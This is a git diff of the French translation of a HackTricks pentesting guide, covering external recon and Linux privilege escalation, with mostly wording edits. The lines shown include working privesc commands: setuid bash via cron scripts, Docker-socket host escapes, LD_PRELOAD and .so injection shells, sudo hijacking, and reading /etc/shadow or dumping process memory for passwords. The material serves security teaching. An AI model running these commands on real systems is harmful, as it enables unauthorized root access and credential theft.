 Vérifiez les possibles [**prises de contrôle de sous-domaines**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
 Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
-Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services qui fonctionnent, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
-_Notez que parfois le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
+Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
+_Remarque : parfois, le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
 
 ## IPs
 
 Dans les étapes initiales, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\
-Il est temps de **rassembler toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
+Il est temps de **rassembler toutes les IP de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
 
-En utilisant des services des **API gratuites** suivantes, vous pouvez également trouver des **IPs précédemment utilisées par des domaines et sous-domaines**. Ces IPs peuvent encore appartenir au client (et peuvent vous permettre de trouver [**des contournements CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+En utilisant des services des **API gratuites** suivantes, vous pouvez également trouver des **IP précédemment utilisées par des domaines et sous-domaines**. Ces IP peuvent encore appartenir au client (et peuvent vous permettre de trouver [**des contournements CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
 
 - [**https://securitytrails.com/**](https://securitytrails.com/)
 
@@ -474,7 +474,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
 
 ### **Recherche de vulnérabilités**
 
-**Scannez tous les ports des IPs qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
+**Scannez tous les ports des IP qui n'appartiennent pas aux CDN** (car vous ne trouverez probablement rien d'intéressant là-bas). Dans les services en cours d'exécution découverts, vous pourriez être **capable de trouver des vulnérabilités**.
 
 **Trouvez un** [**guide**](../pentesting-network/index.html) **sur la façon de scanner les hôtes.**
 
@@ -482,7 +482,7 @@ Vous pouvez également vérifier les domaines pointant vers une adresse IP spéc
 
 > Nous avons trouvé toutes les entreprises et leurs actifs et nous connaissons les plages d'IP, les domaines et les sous-domaines dans le périmètre. Il est temps de rechercher des serveurs web.
 
-Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IPs et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs web** dans le périmètre.
+Dans les étapes précédentes, vous avez probablement déjà effectué une **reconnaissance des IP et des domaines découverts**, donc vous avez peut-être **déjà trouvé tous les serveurs web possibles**. Cependant, si ce n'est pas le cas, nous allons maintenant voir quelques **astuces rapides pour rechercher des serveurs web** dans le périmètre.
 
 Veuillez noter que cela sera **orienté vers la découverte d'applications web**, donc vous devriez également **effectuer le scan de vulnérabilités** et **le scan de ports** (**si autorisé** par le périmètre).
 
@@ -498,7 +498,7 @@ Maintenant que vous avez découvert **tous les serveurs web** présents dans le
 
 Pour réaliser l'idée proposée, vous pouvez utiliser [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ou [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
 
-De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour passer en revue toutes les **captures d'écran** afin de vous dire **ce qui est susceptible de contenir des vulnérabilités**, et ce qui ne l'est pas.
+De plus, vous pourriez ensuite utiliser [**eyeballer**](https://github.com/BishopFox/eyeballer) pour passer en revue toutes les **captures d'écran** afin de vous indiquer **ce qui est susceptible de contenir des vulnérabilités**, et ce qui ne l'est pas.
 
 ## Actifs Cloud Publics
 
@@ -510,11 +510,11 @@ Vous aurez également besoin de listes de mots de **mots courants utilisés dans
 - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
 - [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
 
-Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**Deuxième Tour DNS Brute-Force**](#second-dns-bruteforce-round) pour plus d'infos).
+Ensuite, avec ces mots, vous devriez générer des **permutations** (voir le [**Deuxième Tour de Brute-Force DNS**](#second-dns-bruteforce-round) pour plus d'infos).
 
 Avec les listes de mots résultantes, vous pourriez utiliser des outils tels que [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ou** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
 
-N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devez **chercher plus que de simples buckets dans AWS**.
+N'oubliez pas que lorsque vous recherchez des actifs Cloud, vous devriez **chercher plus que de simples buckets dans AWS**.
 
 ### **Recherche de vulnérabilités**
 
@@ -535,7 +535,7 @@ Les emails seront utiles plus tard pour **brute-forcer les connexions web et les
 
 ## Fuites de Credentials
 
-Avec les **domaines,** **sous-domaines**, et **emails**, vous pouvez commencer à rechercher des credentials fuités dans le passé appartenant à ces emails :
+Avec les **domaines**, **sous-domaines** et **emails**, vous pouvez commencer à rechercher des credentials fuités dans le passé appartenant à ces emails :
 
 - [https://leak-lookup.com](https://leak-lookup.com/account/login)
 - [https://www.dehashed.com/](https://www.dehashed.com/)
@@ -546,12 +546,12 @@ Si vous trouvez des credentials **fuités valides**, c'est une victoire très fa
 
 ## Fuites de Secrets
 
-Les fuites de credentials sont liées aux hacks d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises peuvent être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
+Les fuites de credentials sont liées aux hacks d'entreprises où **des informations sensibles ont été divulguées et vendues**. Cependant, les entreprises peuvent être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données :
 
 ### Fuites Github
 
 Les credentials et les API peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\
-Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) sur eux automatiquement.
+Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement sur eux.
 
 **Leakos** peut également être utilisé pour exécuter **gitleaks** contre tout le **texte** fourni par les **URLs passées** à celui-ci, car parfois **les pages web contiennent également des secrets**.
 
@@ -607,7 +607,7 @@ Donc, vous avez déjà :
 1. Trouvé toutes les **entreprises** dans le périmètre
 2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué quelques scans de vulnérabilités si dans le périmètre)
 3. Trouvé tous les **domaines** appartenant aux entreprises
-4. Trouvé tous les **sous-domaines** des domaines (y a-t-il une prise de contrôle de sous-domaine ?)
+4. Trouvé tous les **sous-domaines** des domaines (y a-t-il eu des prises de contrôle de sous-domaines ?)
 5. Trouvé toutes les **IPs** (provenant et **non provenant des CDN**) dans le périmètre.
 6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (y a-t-il quelque chose de bizarre qui mérite un examen plus approfondi ?)
 7. Trouvé tous les **actifs cloud publics potentiels** appartenant à l'entreprise.

src/linux-hardening/privilege-escalation/README.md

@@ -1,10 +1,10 @@
-# Linux Privilege Escalation
+# Escalade de privilèges Linux
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Informations système
 
-### Infos sur le système d'exploitation
+### Informations sur le système d'exploitation
 
 Commençons par acquérir des connaissances sur le système d'exploitation en cours d'exécution
 ```bash
@@ -18,7 +18,7 @@ Si vous **avez des permissions d'écriture sur un dossier à l'intérieur de la
 ```bash
 echo $PATH
 ```
-### Env info
+### Infos sur l'environnement
 
 Informations intéressantes, mots de passe ou clés API dans les variables d'environnement ?
 ```bash
@@ -168,7 +168,7 @@ ps aux
 ps -ef
 top -n 1
 ```
-Toujours vérifier les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
+Vérifiez toujours les [**débogueurs electron/cef/chromium**] en cours d'exécution, vous pourriez en abuser pour élever vos privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
 Vérifiez également **vos privilèges sur les binaires des processus**, peut-être pouvez-vous écraser quelqu'un.
 
 ### Surveillance des processus
@@ -281,7 +281,7 @@ Si vous constatez que le processus d'authentification est en cours d'exécution
 ps -ef | grep "authenticator"
 root      2027  2025  0 11:46 ?        00:00:00 authenticator
 ```
-Vous pouvez dumper le processus (voir les sections précédentes pour trouver différentes façons de dumper la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire :
+Vous pouvez extraire le processus (voir les sections précédentes pour trouver différentes façons d'extraire la mémoire d'un processus) et rechercher des identifiants à l'intérieur de la mémoire :
 ```bash
 ./dump-memory.sh 2027
 strings *.dump | grep -i password
@@ -290,14 +290,14 @@ strings *.dump | grep -i password
 
 L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) va **voler des identifiants en texte clair depuis la mémoire** et depuis certains **fichiers bien connus**. Il nécessite des privilèges root pour fonctionner correctement.
 
-| Fonctionnalité                                      | Nom du Processus     |
+| Fonctionnalité                                      | Nom du processus      |
 | --------------------------------------------------- | --------------------- |
 | Mot de passe GDM (Kali Desktop, Debian Desktop)     | gdm-password          |
 | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)   | gnome-keyring-daemon  |
 | LightDM (Ubuntu Desktop)                            | lightdm               |
-| VSFTPd (Connexions FTP Actives)                     | vsftpd                |
-| Apache2 (Sessions HTTP Basic Auth Actives)          | apache2               |
-| OpenSSH (Sessions SSH Actives - Utilisation de Sudo) | sshd:                 |
+| VSFTPd (Connexions FTP actives)                     | vsftpd                |
+| Apache2 (Sessions HTTP Basic Auth actives)          | apache2               |
+| OpenSSH (Sessions SSH actives - Utilisation de Sudo) | sshd:                 |
 
 #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
 ```bash
@@ -313,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
 # finding secrets
 # results in /tmp/tmp.o6HV0Pl3fe/results.txt
 ```
-## Scheduled/Cron jobs
+## Tâches planifiées/Cron
 
-Vérifiez si un travail planifié est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?).
+Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous tirer parti d'un script exécuté par root (vulnérabilité par joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?).
 ```bash
 crontab -l
 ls -al /etc/cron* /etc/at*
@@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
 #Wait until it is executed
 /tmp/bash -p
 ```
-Si le script exécuté par root utilise un **répertoire où vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de lien symbolique vers un autre** servant un script contrôlé par vous.
+Si le script exécuté par root utilise un **répertoire où vous avez un accès total**, il pourrait être utile de supprimer ce dossier et **de créer un dossier de symlink vers un autre** servant un script contrôlé par vous.
 ```bash
 ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
 ```
@@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
 
 ### Tâches cron invisibles
 
-Il est possible de créer un cronjob **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et le cron job fonctionnera. Exemple (notez le caractère de retour chariot) :
+Il est possible de créer une tâche cron **en mettant un retour chariot après un commentaire** (sans caractère de nouvelle ligne), et la tâche cron fonctionnera. Exemple (notez le caractère de retour chariot) :
 ```bash
 #This is a comment inside a cron config file\r* * * * * echo "Surprise!"
 ```
@@ -405,7 +405,7 @@ Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin
 
 ## **Timers**
 
-Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotone et peuvent être exécutés de manière asynchrone.
+Les **Timers** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **Timers** peuvent être utilisés comme une alternative à cron car ils ont un support intégré pour les événements de temps calendaire et les événements de temps monotoniques et peuvent être exécutés de manière asynchrone.
 
 Vous pouvez énumérer tous les timers avec :
 ```bash
@@ -413,13 +413,13 @@ systemctl list-timers --all
 ```
 ### Timers modifiables
 
-Si vous pouvez modifier un minuteur, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`)
+Si vous pouvez modifier un timer, vous pouvez le faire exécuter certaines instances de systemd.unit (comme un `.service` ou un `.target`)
 ```bash
 Unit=backdoor.service
 ```
 Dans la documentation, vous pouvez lire ce qu'est l'unité :
 
-> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité de minuteur soient nommés de manière identique, sauf pour le suffixe.
+> L'unité à activer lorsque ce minuteur expire. L'argument est un nom d'unité, dont le suffixe n'est pas ".timer". Si non spécifié, cette valeur par défaut est un service qui a le même nom que l'unité de minuteur, sauf pour le suffixe. (Voir ci-dessus.) Il est recommandé que le nom de l'unité qui est activée et le nom de l'unité du minuteur soient nommés de manière identique, sauf pour le suffixe.
 
 Par conséquent, pour abuser de cette permission, vous devez :
 
@@ -454,7 +454,7 @@ Les sockets peuvent être configurés à l'aide de fichiers `.socket`.
 ### Fichiers .socket écrits
 
 Si vous trouvez un fichier `.socket` **écrit**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine redémarre.**\
-_&#x4E;otez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée_
+_Notez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée_
 
 ### Sockets écrits
 
@@ -498,7 +498,7 @@ Si vous avez un accès en écriture au socket Docker, vous pouvez élever les pr
 docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
 docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
 ```
-Ces commandes vous permettent d'exécuter un conteneur avec un accès de niveau root au système de fichiers de l'hôte.
+Ces commandes vous permettent d'exécuter un conteneur avec un accès au niveau root au système de fichiers de l'hôte.
 
 #### **Utilisation directe de l'API Docker**
 
@@ -532,13 +532,13 @@ Connection: Upgrade
 Upgrade: tcp
 ```
 
-Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès de niveau root au système de fichiers de l'hôte.
+Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès au niveau root au système de fichiers de l'hôte.
 
 ### Autres
 
-Notez que si vous avez des permissions d'écriture sur le socket docker parce que vous êtes **dans le groupe `docker`**, vous avez [**plus de moyens d'escalader les privilèges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**API docker écoute sur un port**, vous pouvez également être en mesure de la compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Notez que si vous avez des permissions d'écriture sur le socket docker parce que vous êtes **dans le groupe `docker`**, vous avez [**plus de façons d'escalader les privilèges**](interesting-groups-linux-pe/index.html#docker-group). Si l'[**API docker écoute sur un port**, vous pouvez également être en mesure de la compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
 
-Vérifiez **plus de moyens de sortir de docker ou de l'abuser pour escalader les privilèges** dans :
+Vérifiez **plus de façons de sortir de docker ou de l'abuser pour escalader les privilèges** dans :
 
 {{#ref}}
 docker-security/
@@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
 ```
 ### Big UID
 
-Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos : [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos : [ici](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ici](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [ici](https://twitter.com/paragonsec/status/1071152249529884674).\
 **Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`**
 
 ### Groups
@@ -687,8 +687,8 @@ Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous con
 
 ### Su Brute
 
-Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de brute-forcer l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
-[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de brute-forcer les utilisateurs.
+Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe de l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer les mots de passe des utilisateurs.
 
 ## Abus de PATH écrivable
 
@@ -753,7 +753,7 @@ Si un **wildcard** est utilisé (\*), c'est encore plus facile :
 sudo less /var/log/../../etc/shadow #Read shadow
 sudo less /var/log/something /etc/shadow #Red 2 files
 ```
-**Contre-mesures** : [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
+**Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
 
 ### Commande Sudo/Binaire SUID sans chemin de commande
 
@@ -776,7 +776,7 @@ Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, v
 function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
 export -f /usr/sbin/service
 ```
-Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée
+Alors, lorsque vous appelez le binaire suid, cette fonction sera exécutée
 
 ### LD_PRELOAD & **LD_LIBRARY_PATH**
 
@@ -814,7 +814,7 @@ Enfin, **escalader les privilèges** en exécutant
 sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
 ```
 > [!CAUTION]
-> Une privesc similaire peut être abusée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées.
+> Une privesc similaire peut être exploitée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées.
 ```c
 #include <stdio.h>
 #include <stdlib.h>
@@ -834,7 +834,7 @@ cd /tmp
 gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
 sudo LD_LIBRARY_PATH=/tmp <COMMAND>
 ```
-### Binaire SUID – injection .so
+### SUID Binary – .so injection
 
 Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante :
 ```bash
@@ -853,7 +853,7 @@ void inject(){
 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
 }
 ```
-Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés.
+Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichier et en exécutant un shell avec des privilèges élevés.
 
 Compilez le fichier C ci-dessus en un fichier d'objet partagé (.so) avec :
 ```bash
@@ -939,7 +939,7 @@ sudo su
 bash exploit_v2.sh
 /tmp/sh -p
 ```
-- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les tokens sudo éternels et permet à tous les utilisateurs d'utiliser sudo**
+- Le **troisième exploit** (`exploit_v3.sh`) va **créer un fichier sudoers** qui rend **les jetons sudo éternels et permet à tous les utilisateurs d'utiliser sudo**
 ```bash
 bash exploit_v3.sh
 sudo su
@@ -954,7 +954,7 @@ Par exemple, si vous pouvez écraser le fichier _/var/run/sudo/ts/sampleuser_ et
 ### /etc/sudoers, /etc/sudoers.d
 
 Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` configurent qui peut utiliser `sudo` et comment. Ces fichiers **par défaut ne peuvent être lus que par l'utilisateur root et le groupe root**.\
-**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** un fichier, vous serez en mesure d'**escalader les privilèges**.
+**Si** vous pouvez **lire** ce fichier, vous pourriez être en mesure d'**obtenir des informations intéressantes**, et si vous pouvez **écrire** dans n'importe quel fichier, vous serez en mesure d'**escalader les privilèges**.
 ```bash
 ls -l /etc/sudoers /etc/sudoers.d/
 ls -ld /etc/sudoers.d/
@@ -979,11 +979,11 @@ permit nopass demo as root cmd vim
 ```
 ### Sudo Hijacking
 
-Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever ses privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.
+Si vous savez qu'un **utilisateur se connecte généralement à une machine et utilise `sudo`** pour élever les privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez **créer un nouvel exécutable sudo** qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, **modifiez le $PATH** du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.
 
 Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
 
-Ou exécuter quelque chose comme :
+Ou en exécutant quelque chose comme :
 ```bash
 cat >/tmp/sudo <<EOF
 #!/bin/bash
@@ -1006,7 +1006,7 @@ Le fichier `/etc/ld.so.conf` indique **d'où proviennent les fichiers de configu
 
 Cela signifie que les fichiers de configuration de `/etc/ld.so.conf.d/*.conf` seront lus. Ces fichiers de configuration **pointent vers d'autres dossiers** où **les bibliothèques** vont être **recherchées**. Par exemple, le contenu de `/etc/ld.so.conf.d/libc.conf` est `/usr/local/lib`. **Cela signifie que le système recherchera des bibliothèques à l'intérieur de `/usr/local/lib`**.
 
-Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il peut être en mesure d'escalader les privilèges.\
+Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il pourrait être en mesure d'escalader les privilèges.\
 Jetez un œil à **comment exploiter cette mauvaise configuration** dans la page suivante :
 
 {{#ref}}
@@ -1077,8 +1077,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
 ```
 ## Ouvrir des sessions shell
 
-Dans les **anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\
-Dans les **dernières versions**, vous ne pourrez **vous connecter** qu'aux sessions d'écran de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
+Dans **les anciennes versions**, vous pouvez **dérober** certaines sessions **shell** d'un autre utilisateur (**root**).\
+Dans **les versions les plus récentes**, vous ne pourrez **vous connecter** qu'aux sessions d'écran de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
 
 ### Détournement de sessions d'écran
 
@@ -1117,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs c
 # If you are root or devs you can access it
 tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
 ```
-Vérifiez **Valentine box from HTB** pour un exemple.
+Vérifiez la **boîte de Saint-Valentin de HTB** pour un exemple.
 
 ## SSH
 
@@ -1158,12 +1158,12 @@ Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci :
 Host example.com
 ForwardAgent yes
 ```
-Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui est un problème de sécurité).
+Remarquez que si `Host` est `*`, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui pose un problème de sécurité).
 
 Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou interdire cette configuration.\
-Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autoriser).
+Le fichier `/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autorisée).
 
-Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour élever les privilèges** :
+Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour élever vos privilèges** :
 
 {{#ref}}
 ssh-forward-agent-exploitation.md
@@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
 
 ### Fichiers de profils
 
-Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez élever les privilèges**.
+Le fichier `/etc/profile` et les fichiers sous `/etc/profile.d/` sont **des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell**. Par conséquent, si vous pouvez **écrire ou modifier l'un d'eux, vous pouvez élever vos privilèges**.
 ```bash
 ls -l /etc/profile /etc/profile.d/
 ```
@@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
 #Shadow equivalent files
 cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
 ```
-Dans certaines occasions, vous pouvez trouver des **hashs de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent).
+Dans certaines occasions, vous pouvez trouver des **hashes de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent).
 ```bash
